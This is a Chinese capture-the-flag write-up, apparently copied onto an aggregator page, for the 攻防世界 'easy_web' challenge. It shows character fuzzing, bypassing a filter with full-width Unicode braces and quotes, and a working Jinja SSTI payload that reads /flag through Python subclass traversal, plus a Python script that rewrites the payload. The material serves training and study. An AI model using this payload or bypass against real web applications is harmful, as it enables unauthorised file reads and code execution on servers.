当前位置:网站首页>攻防世界--easy_web
攻防世界--easy_web
2022-07-26 05:11:00 【jjj34】
目录
1.拿到题目后,进行目录扫描,可惜没扫出来有用的东西
2.有一个输入框,随便输一个参数并且通过bp抓包查看

两个注意点: 1.Python/3.7.12 看到python写的,就想到了SSTI模板注入

确定了服务器会将我们输入的参数当作html语言解析。
2.看返回的字段,应该是有过滤的
对输入框进行模糊测试
测试的返回是所有的单字符,即 ascii中 33-127的所有字符(特殊符号,字母大小写,数字)

length为198的就是被过滤掉的
4.怎么绕过过滤
根据题意,我们可以通过特殊字符来绕过
特殊字符的网站:符号大全-特殊符号-特殊符号大全 (fhdq.net)
直接输入 { 会被过滤掉,因此我们可以输入 ︷

对比发现,两种特殊符号都可以解析成 {


对过滤进行一个小总结
{ -> ︷/﹛
} -> ︸/﹜
' -> '5.利用找好的过滤条件进行解题
{
{''.__class__.__mro__[2].__subclasses__()[40]('/flag').read()}}
变为

替换成功
利用python进行字符的替换
"""
{ -> ︷/﹛
} -> ︸/﹜
' -> '
, -> ,
"""
str='{
{\'\'.__class__.__mro__[1].__subclasses__()[91].get_data(0,\'/flag\')}}' #原字符串
#如果需要替换replace(被替换的字符,替换后的字符)
str=str.replace('{','︷')
str=str.replace('}','︸')
str=str.replace('\'',''')
print(str)
边栏推荐
- 推荐12个免费查找文献的学术网站,建议点赞、收藏!
- 基于通用优化软件GAMS的数学建模和优化分析
- Install nccl \ mpirun \ horovod \ NVIDIA tensorflow (3090ti)
- 5个chrome简单实用的日常开发功能详解,赶快解锁让你提升更多效率!
- C语言力扣第42题之接雨水。四种方法——暴力、动态规划、栈、双指针
- Redis过期删除策略和内存淘汰策略
- Textfield and password input box that are more flexible and easy to use in compose
- Shell process control (emphasis), if judgment, case statement, let usage, for ((initial value; loop control condition; variable change)) and for variable in value 1 value 2 value 3..., while loop
- Trend of the times - the rise of cloud native databases
- 基于遥感解译与GIS技术环境影响评价图件制作
猜你喜欢

注解@Autowired如何自动装配

手把手教你用代码实现SSO单点登录

如何优雅的复现YOLOv5官方历程(二)——标注并训练自己的数据集

推荐系统-机器学习

Install nccl \ mpirun \ horovod \ NVIDIA tensorflow (3090ti)

Compilation method of flood control evaluation report and flood modeling under the new guidelines
![Meta analysis [whole process, uncertainty analysis] method based on R language and meta machine learning](/img/87/9f8353c5c9c700eaa63f66697aa44a.png)
Meta analysis [whole process, uncertainty analysis] method based on R language and meta machine learning

Week 6 Learning Representation: Word Embedding (symbolic →numeric)

Embedded sharing collection 20

Ansible中常用的模块
随机推荐
Unnamed Article 33
公交站间的距离 : 简单模拟题
JVM Lecture 6: how to solve the frequent FGC in online environment?
C language function
The elderly who claim alimony from other children after being supported by their widowed daughter-in-law should be supported
JVM第六讲:线上环境 FGC 频繁,如何解决?
no networks found in /etc/cni/net.d
[acwing] 1268. Simple questions
[weekly translation go] how to write your first program with go
阿里三面:MQ 消息丢失、重复、积压问题,如何解决?
C语言力扣第41题之缺失的第一个正数。两种方法,预处理快排与原地哈希
Teach you how to use code to realize SSO single sign on
Seata submits at details in two stages
ThreadLocal transfer between parent and child threads in asynchronous
Improve reduce parallelism in shuffle operation
35. 搜索插入位置
Mysql优化
Unity scene jump script
提高shuffle操作中的reduce并行度
Practical technology of SWAT Model in simulation of hydrology, water resources and non-point source pollution
